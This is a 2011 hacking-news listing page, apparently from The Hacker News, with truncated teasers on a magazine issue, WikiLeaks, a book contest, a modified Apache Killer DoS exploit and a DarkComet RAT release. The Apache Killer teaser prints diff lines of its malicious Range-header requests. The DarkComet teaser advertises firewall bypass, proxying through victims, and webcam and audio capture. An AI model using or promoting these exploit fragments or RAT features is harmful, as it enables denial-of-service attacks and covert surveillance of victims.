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Linux - Means Freedom [The Hacker News Magazine] October 2011 Issue Released Dear Readers,                          We here at The Hacker News were very humbled to be given the opportunity to celebrate 10 millions hits to the website. Wow! We are so very grateful for your support and as I told you last month, I don't think Hacking is going anywhere and neither are we!! Your feedback is very important to us. Feel free to send us your thoughts and desires for Hacking news. If you want to write an editorial, let us know. We'd love to include it next month. For now, we will see you in our daily and best wishes for a great month. Content of October Edition: Linux - Means Freedom How to make my Linux Secure ? Hackathon Insider Threads Vs Hackers Linux : How to Series by Alok Srivastav Window 8 - Touch the Future The Security Model of Window 8 Server Microsoft Security Development Cycle September Cybe...

Celebrating 5th Birthday of Wikileaks  (Born : 4th Oct 2006) The wikileaks.org domain name was registered on 4 October 2006. The website was unveiled, and published its first document, in December 2006. The site claims to have been " founded by Chinese dissidents, journalists, mathematicians and start-up company technologists, from the US, Taiwan, Europe, Australia and South Africa ". The creators of WikiLeaks have not been formally identified. It has been represented in public since January 2007 by Julian Assange and others. Assange describes himself as a member of WikiLeaks' advisory board. News reports in The Australian have called Assange the " founder of WikiLeaks ". According to Wired magazine, a volunteer said that Assange described himself in a private conversation as "the heart and soul of this organisation, its founder, philosopher, spokesperson, original coder, organizer, financier, and all the rest". 2006–08 WikiLeaks posted its fi...

Contest Winners Announcement : Wireless Penetration Testing Guide book We ran a competition for the book " Backtrack 5 Wireless Penetration Testing " last week. Today, Vivek Ramachandran, the author of the book and Founder of SecurityTube.net is announcing the winners in the video below. We will be contacting the winners via email soon. Two Best Comments Selected by Author are : Scott Herbert : For me it's the "man-in-the middle" and other cutting edge wireless attacks that make it a book worth getting (even if I don't win). neutronkaos : What interests me most about this book is that it is dedicated to wireless hacking. In an age where almost everybody is rocking a wireless AP, this book could do alot in offense and defense. I have been a Backtrack fan since Backtrack 3 and I have seen several of Mr. Ramachandran's primers on security tube. I am currently deployed to Afghanistan and I am working towards a degree in Network Security. I would love to have this boo...

Apache killer exploit modified for better Results " 4L4N4 K!LL3R " or Killapache  DDOS tool exploit, previously coded by kingscope 's , re-edited and coded by " S4(uR4 " , which kills apache and still many websites are vulnerable. S4(uR4 rewrite this exploit on php/curl (web based) with agressive mode. Exploit Consist of 2 part : 1) Test Part (for test u need use static content of site, maybe images, text, html, doc file, etc) 2) Xploiting Part Difference B/w Old and New Modified Exploit: 40c40 < $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; --- > $p = "HEAD ".($ARGV[2] ? $ARGV[2] : "/")."HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; 56c56 < $p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n"; ---...

DarkComet-RAT v4.2 fwb (Firewall bypass) This version is firewall bypass it will inject to web browsers and bypass firewall rules. Targets are in this order : Firefox, Opera, Chrome, Safari, Internet Explorer and Explorer if all fails (normally never) then it runs normally. Notice now you can use remote computers as SOCKS5 proxies changelog: - Now server module doesn't melt each times - SOCKS5 Server added – Multithread. - Camera streaming is now more stable - Camera capture interval added - Camera disable streatch enabled/disabled added - File Manager doesn't crash on transfer anymore - Sound capture more stable and a bit faster - New process manager GUI and more user friendly - Process Dump added to the new process manager - Screen capture totally recoded, faster in Vista and Seven than before - Screen capture control more stable - No more black screen in screen capture on resize (avoid using 16bit colors in some systems) Most performant is 8Bit. - New password ...